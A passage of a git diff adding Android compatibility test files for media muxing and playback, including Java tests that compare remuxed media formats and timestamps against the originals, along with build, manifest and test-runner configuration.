+                }
+                extractor.advance();
+                sampleCount++;
+                if (VERBOSE) {
+                    Log.i(TAG, "Sample (" + sampleCount + ")" +
+                            " TrackIndex:" + trackIndex +
+                            " PresentationTimeUs:" + bufferInfo.presentationTimeUs +
+                            " Flags:" + bufferInfo.flags +
+                            " Size(bytes)" + bufferInfo.size );
+                }
+            }
+        }
+
+        muxer.stop();
+        muxer.release();
+        extractor.release();
+        srcFd.close();
+
+        return;
+    }
+
+    /*
+     * Uses MediaExtractors and checks whether timestamps of all samples except in samplesDropSet
+     *  and with start offsets adjustments for each track match.
+     */
+    private void verifyTSWithSamplesDropAndStartOffset(final String srcMedia, boolean hasBframes,
+            String testMediaPath, HashSet<Integer> samplesDropSet,
+            Vector<Integer> startOffsetUsVect) throws IOException {
+        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
+        MediaExtractor extractorSrc = new MediaExtractor();
+        extractorSrc.setDataSource(srcFd.getFileDescriptor(),
+            srcFd.getStartOffset(), srcFd.getLength());
+        MediaExtractor extractorTest = new MediaExtractor();
+        extractorTest.setDataSource(testMediaPath);
+
+        int videoTrackIndex = -1;
+        int videoStartOffsetUs = 0;
+        int minStartOffsetUs = Integer.MAX_VALUE;
+        int trackCount = extractorSrc.getTrackCount();
+
+        /*
+         * When all track's start offsets are positive, MPEG4Writer makes the start timestamp of the
+         * earliest track as zero and adjusts all other tracks' timestamp accordingly.
+         */
+        // TODO: need to confirm if the above logic holds good with all others writers we support.
+        if (startOffsetUsVect != null) {
+            for (int startOffsetUs : startOffsetUsVect) {
+                minStartOffsetUs = Math.min(startOffsetUs, minStartOffsetUs);
+            }
+        } else {
+            minStartOffsetUs = 0;
+        }
+
+        if (minStartOffsetUs < 0) {
+            /*
+             * Atleast one of the start offsets were negative. We have some test cases with negative
+             * offsets for audio, minStartOffset has to be reset as Writer won't adjust any of the
+             * track's timestamps.
+             */
+            minStartOffsetUs = 0;
+        }
+
+        // Select video track.
+        for (int i = 0; i < trackCount; i++) {
+            MediaFormat format = extractorSrc.getTrackFormat(i);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                videoTrackIndex = i;
+                if (startOffsetUsVect != null && videoTrackIndex < startOffsetUsVect.size()) {
+                    videoStartOffsetUs = startOffsetUsVect.get(videoTrackIndex);
+                }
+                extractorSrc.selectTrack(videoTrackIndex);
+                extractorTest.selectTrack(videoTrackIndex);
+                checkVideoSamplesTimeStamps(extractorSrc, hasBframes, extractorTest, samplesDropSet,
+                    videoStartOffsetUs - minStartOffsetUs);
+                extractorSrc.unselectTrack(videoTrackIndex);
+                extractorTest.unselectTrack(videoTrackIndex);
+            }
+        }
+
+        int audioTrackIndex = -1;
+        int audioSampleCount = 0;
+        int audioStartOffsetUs = 0;
+        //select audio track
+        for (int i = 0; i < trackCount; i++) {
+            MediaFormat format = extractorSrc.getTrackFormat(i);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("audio/")) {
+                audioTrackIndex = i;
+                if (startOffsetUsVect != null && audioTrackIndex < startOffsetUsVect.size()) {
+                    audioStartOffsetUs = startOffsetUsVect.get(audioTrackIndex);
+                }
+                extractorSrc.selectTrack(audioTrackIndex);
+                extractorTest.selectTrack(audioTrackIndex);
+                checkAudioSamplesTimestamps(
+                        extractorSrc, extractorTest, audioStartOffsetUs - minStartOffsetUs);
+            }
+        }
+
+        extractorSrc.release();
+        extractorTest.release();
+        srcFd.close();
+    }
+
+    // Check timestamps of all video samples.
+    private void checkVideoSamplesTimeStamps(MediaExtractor extractorSrc, boolean hasBFrames,
+            MediaExtractor extractorTest, HashSet<Integer> samplesDropSet, int videoStartOffsetUs) {
+        long srcSampleTimeUs = -1;
+        long testSampleTimeUs = -1;
+        boolean srcAdvance = false;
+        boolean testAdvance = false;
+        int videoSampleCount = 0;
+
+        extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+
+        if (VERBOSE) {
+            Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+                        "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+            Log.v(TAG, "videoStartOffsetUs:" + videoStartOffsetUs);
+        }
+
+        do {
+            ++videoSampleCount;
+            srcSampleTimeUs = extractorSrc.getSampleTime();
+            testSampleTimeUs = extractorTest.getSampleTime();
+            if (VERBOSE) {
+                Log.v(TAG, "videoSampleCount:" + videoSampleCount);
+                Log.i(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
+            }
+            if (samplesDropSet == null || !samplesDropSet.contains(videoSampleCount)) {
+                if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
+                    if (VERBOSE) {
+                        Log.v(TAG, "srcUs:" + srcSampleTimeUs + "testUs:" + testSampleTimeUs);
+                    }
+                    fail("either source or test track reached end of stream");
+                }
+                /* Stts values within 0.1ms(100us) difference are fudged to save too many
+                 * stts entries in MPEG4Writer.
+                 */
+                else if (Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs) > 100) {
+                    if (VERBOSE) {
+                        Log.v(TAG, "Fail:video timestamps didn't match");
+                        Log.v(TAG,
+                            "srcTrackIndex:" + extractorSrc.getSampleTrackIndex()
+                                + "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+                        Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
+                  }
+                    fail("video timestamps didn't match");
+                }
+                testAdvance = extractorTest.advance();
+            }
+            srcAdvance = extractorSrc.advance();
+        } while (srcAdvance && testAdvance);
+        if (srcAdvance != testAdvance) {
+            if (VERBOSE) {
+                Log.v(TAG, "videoSampleCount:" + videoSampleCount);
+            }
+            fail("either video track has not reached its last sample");
+        }
+    }
+
+    private void checkAudioSamplesTimestamps(MediaExtractor extractorSrc,
+                MediaExtractor extractorTest, int audioStartOffsetUs) {
+        long srcSampleTimeUs = -1;
+        long testSampleTimeUs = -1;
+        boolean srcAdvance = false;
+        boolean testAdvance = false;
+        int audioSampleCount = 0;
+
+        extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        if (audioStartOffsetUs >= 0) {
+            // Added edit list support for maintaining only the diff in start offsets of tracks.
+            // TODO: Remove this once we add support for preserving absolute timestamps as well.
+            extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        } else {
+            extractorTest.seekTo(audioStartOffsetUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        }
+        if (VERBOSE) {
+            Log.v(TAG, "audioStartOffsetUs:" + audioStartOffsetUs);
+            Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+                        "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+        }
+        // Check timestamps of all audio samples.
+        do {
+            ++audioSampleCount;
+            srcSampleTimeUs = extractorSrc.getSampleTime();
+            testSampleTimeUs = extractorTest.getSampleTime();
+            if (VERBOSE) {
+                Log.v(TAG, "audioSampleCount:" + audioSampleCount);
+                Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
+            }
+
+            if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
+                if (VERBOSE) {
+                    Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
+                }
+                fail("either source or test track reached end of stream");
+            }
+            // > 1us to ignore any round off errors.
+            else if (Math.abs(srcSampleTimeUs + audioStartOffsetUs - testSampleTimeUs) > 1) {
+                fail("audio timestamps didn't match");
+            }
+            testAdvance = extractorTest.advance();
+            srcAdvance = extractorSrc.advance();
+        } while (srcAdvance && testAdvance);
+        if (srcAdvance != testAdvance) {
+            fail("either audio track has not reached its last sample");
+        }
+    }
+}
+
diff --git a/tests/tests/media/muxer/src/android/media/muxer/cts/NativeMuxerTest.java b/tests/tests/media/muxer/src/android/media/muxer/cts/NativeMuxerTest.java
new file mode 100644
index 0000000..f8e7b88
--- /dev/null
+++ b/tests/tests/media/muxer/src/android/media/muxer/cts/NativeMuxerTest.java
@@ -0,0 +1,407 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.muxer.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaPlayer;
+import android.media.cts.MediaTestBase;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.net.Uri;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.Set;
+
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
+public class NativeMuxerTest extends MediaTestBase {
+    private static final String TAG = "NativeMuxerTest";
+
+    private static final boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    private static final String MEDIA_DIR = WorkDir.getMediaDirString();
+
+    static {
+        // Load jni on initialization.
+        Log.i("@@@", "before loadlibrary");
+        System.loadLibrary("ctsmediamuxertest_jni");
+        Log.i("@@@", "after loadlibrary");
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+    private static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        Preconditions.assertTestFileExists(MEDIA_DIR + res);
+        File inpFile = new File(MEDIA_DIR + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    // check that native extractor behavior matches java extractor
+    @Presubmit
+    @NonMediaMainlineTest
+    @Test
+    public void testMuxerAvc() throws Exception {
+        // IMPORTANT: this file must not have B-frames
+        testMuxer("video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", false);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testMuxerH263() throws Exception {
+        // IMPORTANT: this file must not have B-frames
+        testMuxer("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz.3gp", false);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testMuxerHevc() throws Exception {
+        // IMPORTANT: this file must not have B-frames
+        testMuxer("video_640x360_mp4_hevc_450kbps_no_b.mp4", false);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testMuxerVp8() throws Exception {
+        testMuxer("bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm", true);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testMuxerVp9() throws Exception {
+        testMuxer("video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                true);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testMuxerVp9NoCsd() throws Exception {
+        testMuxer("bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                true);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testMuxerVp9Hdr() throws Exception {
+        testMuxer("video_256x144_webm_vp9_hdr_83kbps_24fps.webm", true);
+    }
+
+    // We do not support MPEG-2 muxing as of yet
+    @Ignore
+    @Test
+    public void SKIP_testMuxerMpeg2() throws Exception {
+        // IMPORTANT: this file must not have B-frames
+        testMuxer("video_176x144_mp4_mpeg2_105kbps_25fps_aac_stereo_128kbps_44100hz.mp4", false);
+    }
+
+    @NonMediaMainlineTest
+    @Test
+    public void testMuxerMpeg4() throws Exception {
+        // IMPORTANT: this file must not have B-frames
+        testMuxer("video_176x144_mp4_mpeg4_300kbps_25fps_aac_stereo_128kbps_44100hz.mp4", false);
+    }
+
+    private void testMuxer(final String res, boolean webm) throws Exception {
+        Preconditions.assertTestFileExists(MEDIA_DIR + res);
+        if (!MediaUtils.checkCodecsForResource(MEDIA_DIR + res)) {
+            return; // skip
+        }
+
+        AssetFileDescriptor infd = getAssetFileDescriptorFor(res);
+
+        File base = mContext.getExternalFilesDir(null);
+        String tmpFile = base.getPath() + "/tmp.dat";
+        Log.i("@@@", "using tmp file " + tmpFile);
+        new File(tmpFile).delete();
+        ParcelFileDescriptor out = ParcelFileDescriptor.open(new File(tmpFile),
+                ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
+
+        assertTrue("muxer failed", testMuxerNative(
+                infd.getParcelFileDescriptor().getFd(), infd.getStartOffset(), infd.getLength(),
+                out.getFd(), webm));
+
+        // compare the original with the remuxed
+        MediaExtractor org = new MediaExtractor();
+        org.setDataSource(infd.getFileDescriptor(),
+                infd.getStartOffset(), infd.getLength());
+
+        MediaExtractor remux = new MediaExtractor();
+        remux.setDataSource(out.getFileDescriptor());
+
+        assertEquals("mismatched numer of tracks", org.getTrackCount(), remux.getTrackCount());
+        // allow duration mismatch for webm files as ffmpeg does not consider the duration of the
+        // last frame while libwebm (and our framework) does.
+        final long maxDurationDiffUs = webm ? 50000 : 0; // 50ms for webm
+        for (int i = 0; i < org.getTrackCount(); i++) {
+            MediaFormat format1 = org.getTrackFormat(i);
+            MediaFormat format2 = remux.getTrackFormat(i);
+            Log.i("@@@", "org: " + format1);
+            Log.i("@@@", "remux: " + format2);
+            assertTrue("different formats", compareFormats(format1, format2, maxDurationDiffUs));
+        }
+
+        org.release();
+        remux.release();
+
+        Preconditions.assertTestFileExists(MEDIA_DIR + res);
+        MediaPlayer player1 =
+                MediaPlayer.create(mContext, Uri.fromFile(new File(MEDIA_DIR + res)));
+        MediaPlayer player2 = MediaPlayer.create(mContext, Uri.parse("file://" + tmpFile));
+        assertEquals("duration is different",
+                player1.getDuration(), player2.getDuration(), maxDurationDiffUs * 0.001);
+        player1.release();
+        player2.release();
+        new File(tmpFile).delete();
+    }
+
+    private String hexString(ByteBuffer buf) {
+        if (buf == null) {
+            return "(null)";
+        }
+        final char[] digits =
+                {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
+
+        StringBuilder hex = new StringBuilder();
+        for (int i = buf.position(); i < buf.limit(); ++i) {
+            byte c = buf.get(i);
+            hex.append(digits[(c >> 4) & 0xf]);
+            hex.append(digits[c & 0xf]);
+        }
+        return hex.toString();
+    }
+
+    /**
+     * returns: null if key is in neither formats, true if they match and false otherwise
+     */
+    private Boolean compareByteBufferInFormats(MediaFormat f1, MediaFormat f2, String key) {
+        ByteBuffer bufF1 = f1.containsKey(key) ? f1.getByteBuffer(key) : null;
+        ByteBuffer bufF2 = f2.containsKey(key) ? f2.getByteBuffer(key) : null;
+        if (bufF1 == null && bufF2 == null) {
+            return null;
+        }
+        if (bufF1 == null || !bufF1.equals(bufF2)) {
+            Log.i("@@@", "org " + key + ": " + hexString(bufF1));
+            Log.i("@@@", "rmx " + key + ": " + hexString(bufF2));
+            return false;
+        }
+        return true;
+    }
+
+    private boolean compareFormats(MediaFormat f1, MediaFormat f2, long maxDurationDiffUs) {
+        final String KEY_DURATION = MediaFormat.KEY_DURATION;
+
+        // allow some difference in durations
+        if (maxDurationDiffUs > 0
+                && f1.containsKey(KEY_DURATION) && f2.containsKey(KEY_DURATION)
+                && Math.abs(f1.getLong(KEY_DURATION)
+                - f2.getLong(KEY_DURATION)) <= maxDurationDiffUs) {
+            f2.setLong(KEY_DURATION, f1.getLong(KEY_DURATION));
+        }
+
+        // verify hdr-static-info
+        if (Boolean.FALSE.equals(compareByteBufferInFormats(f1, f2, "hdr-static-info"))) {
+            return false;
+        }
+
+        // verify CSDs
+        for (int i = 0; ; ++i) {
+            String key = "csd-" + i;
+            Boolean match = compareByteBufferInFormats(f1, f2, key);
+            if (match == null) {
+                break;
+            } else if (!match) {
+                return false;
+            }
+        }
+
+        // before S, mpeg4 writers jammed a fixed SAR value into the output;
+        // this was fixed in S
+        if (!sIsAtLeastS) {
+            if (f1.containsKey(MediaFormat.KEY_PIXEL_ASPECT_RATIO_HEIGHT)
+                    && f2.containsKey(MediaFormat.KEY_PIXEL_ASPECT_RATIO_HEIGHT)) {
+                f2.setInteger(MediaFormat.KEY_PIXEL_ASPECT_RATIO_HEIGHT,
+                        f1.getInteger(MediaFormat.KEY_PIXEL_ASPECT_RATIO_HEIGHT));
+            }
+            if (f1.containsKey(MediaFormat.KEY_PIXEL_ASPECT_RATIO_WIDTH)
+                    && f2.containsKey(MediaFormat.KEY_PIXEL_ASPECT_RATIO_WIDTH)) {
+                f2.setInteger(MediaFormat.KEY_PIXEL_ASPECT_RATIO_WIDTH,
+                        f1.getInteger(MediaFormat.KEY_PIXEL_ASPECT_RATIO_WIDTH));
+            }
+        }
+
+        // look for f2 (the new) being a superset (>=) of f1 (the original)
+        // ensure that all of our fields in f1 appear in f2 with the same
+        // value. We allow f2 to contain extra fields.
+        Set<String> keys = f1.getKeys();
+        for (String key : keys) {
+            if (key == null) {
+                continue;
+            }
+            if (!f2.containsKey(key)) {
+                return false;
+            }
+            int f1Type = f1.getValueTypeForKey(key);
+            if (f1Type != f2.getValueTypeForKey(key)) {
+                return false;
+            }
+            switch (f1Type) {
+                case MediaFormat.TYPE_INTEGER:
+                    int f1Int = f1.getInteger(key);
+                    int f2Int = f2.getInteger(key);
+                    if (f1Int != f2Int) {
+                        return false;
+                    }
+                    break;
+                case MediaFormat.TYPE_LONG:
+                    long f1Long = f1.getLong(key);
+                    long f2Long = f2.getLong(key);
+                    if (f1Long != f2Long) {
+                        return false;
+                    }
+                    break;
+                case MediaFormat.TYPE_FLOAT:
+                    float f1Float = f1.getFloat(key);
+                    float f2Float = f2.getFloat(key);
+                    if (f1Float != f2Float) {
+                        return false;
+                    }
+                    break;
+                case MediaFormat.TYPE_STRING:
+                    String f1String = f1.getString(key);
+                    String f2String = f2.getString(key);
+                    if (!f1String.equals(f2String)) {
+                        return false;
+                    }
+                    break;
+                case MediaFormat.TYPE_BYTE_BUFFER:
+                    ByteBuffer f1ByteBuffer = f1.getByteBuffer(key);
+                    ByteBuffer f2ByteBuffer = f2.getByteBuffer(key);
+                    if (!f1ByteBuffer.equals(f2ByteBuffer)) {
+                        return false;
+                    }
+                    break;
+                default:
+                    return false;
+            }
+        }
+
+        // repeat for getFeatures
+        // (which we don't use in this test, but include for completeness)
+        Set<String> features = f1.getFeatures();
+        for (String key : features) {
+            if (key == null) {
+                continue;
+            }
+            if (!f2.containsKey(key)) {
+                return false;
+            }
+            int f1Type = f1.getValueTypeForKey(key);
+            if (f1Type != f2.getValueTypeForKey(key)) {
+                return false;
+            }
+            switch (f1Type) {
+                case MediaFormat.TYPE_INTEGER:
+                    int f1Int = f1.getInteger(key);
+                    int f2Int = f2.getInteger(key);
+                    if (f1Int != f2Int) {
+                        return false;
+                    }
+                    break;
+                case MediaFormat.TYPE_LONG:
+                    long f1Long = f1.getLong(key);
+                    long f2Long = f2.getLong(key);
+                    if (f1Long != f2Long) {
+                        return false;
+                    }
+                    break;
+                case MediaFormat.TYPE_FLOAT:
+                    float f1Float = f1.getFloat(key);
+                    float f2Float = f2.getFloat(key);
+                    if (f1Float != f2Float) {
+                        return false;
+                    }
+                    break;
+                case MediaFormat.TYPE_STRING:
+                    String f1String = f1.getString(key);
+                    String f2String = f2.getString(key);
+                    if (!f1String.equals(f2String)) {
+                        return false;
+                    }
+                    break;
+                case MediaFormat.TYPE_BYTE_BUFFER:
+                    ByteBuffer f1ByteBuffer = f1.getByteBuffer(key);
+                    ByteBuffer f2ByteBuffer = f2.getByteBuffer(key);
+                    if (!f1ByteBuffer.equals(f2ByteBuffer)) {
+                        return false;
+                    }
+                    break;
+                default:
+                    return false;
+            }
+        }
+
+        // not otherwise disqualified
+        return true;
+    }
+
+    private static native boolean testMuxerNative(int in, long inoffset, long insize,
+                                                  int out, boolean webm);
+}
diff --git a/tests/tests/media/muxer/src/android/media/muxer/cts/WorkDir.java b/tests/tests/media/muxer/src/android/media/muxer/cts/WorkDir.java
new file mode 100644
index 0000000..90adbde
--- /dev/null
+++ b/tests/tests/media/muxer/src/android/media/muxer/cts/WorkDir.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.muxer.cts;
+
+import android.media.cts.WorkDirBase;
+
+class WorkDir extends WorkDirBase {
+    public static final String getMediaDirString() {
+        return getMediaDirString("CtsMediaMuxerTestCases-1.1");
+    }
+}
diff --git a/tests/tests/media/player/Android.bp b/tests/tests/media/player/Android.bp
new file mode 100644
index 0000000..ecda2ff
--- /dev/null
+++ b/tests/tests/media/player/Android.bp
@@ -0,0 +1,62 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license", // CC-BY
+    ],
+}
+
+android_test {
+    name: "CtsMediaPlayerTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "cts-media-common",
+    ],
+    resource_dirs: ["res"],
+    // do not compress media files
+    aaptflags: [
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base",
+        "android.test.runner",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/player/AndroidManifest.xml b/tests/tests/media/player/AndroidManifest.xml
new file mode 100644
index 0000000..2896da2
--- /dev/null
+++ b/tests/tests/media/player/AndroidManifest.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.player.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
+
+        <activity android:name="android.media.player.cts.MediaPlayerSurfaceStubActivity"
+             android:label="MediaPlayerSurfaceStubActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="31"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.player.cts"
+         android:label="CTS tests of android MediaPlayer">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/player/AndroidTest.xml b/tests/tests/media/player/AndroidTest.xml
new file mode 100644
index 0000000..a0041ac
--- /dev/null
+++ b/tests/tests/media/player/AndroidTest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media player test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="CtsMediaPlayerTestCases" />
+        <option name="dynamic-config-name" value="CtsMediaPlayerTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaPlayerTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
+        <option name="push-all" value="true" />
+        <option name="media-folder-name" value="CtsMediaPlayerTestCases-1.0" />
+        <option name="dynamic-config-module" value="CtsMediaPlayerTestCases" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaPlayerTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.player.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="1h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/player/DynamicConfig.xml b/tests/tests/media/player/DynamicConfig.xml
new file mode 100644
index 0000000..3f0c534
--- /dev/null
+++ b/tests/tests/media/player/DynamicConfig.xml
@@ -0,0 +1,38 @@
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
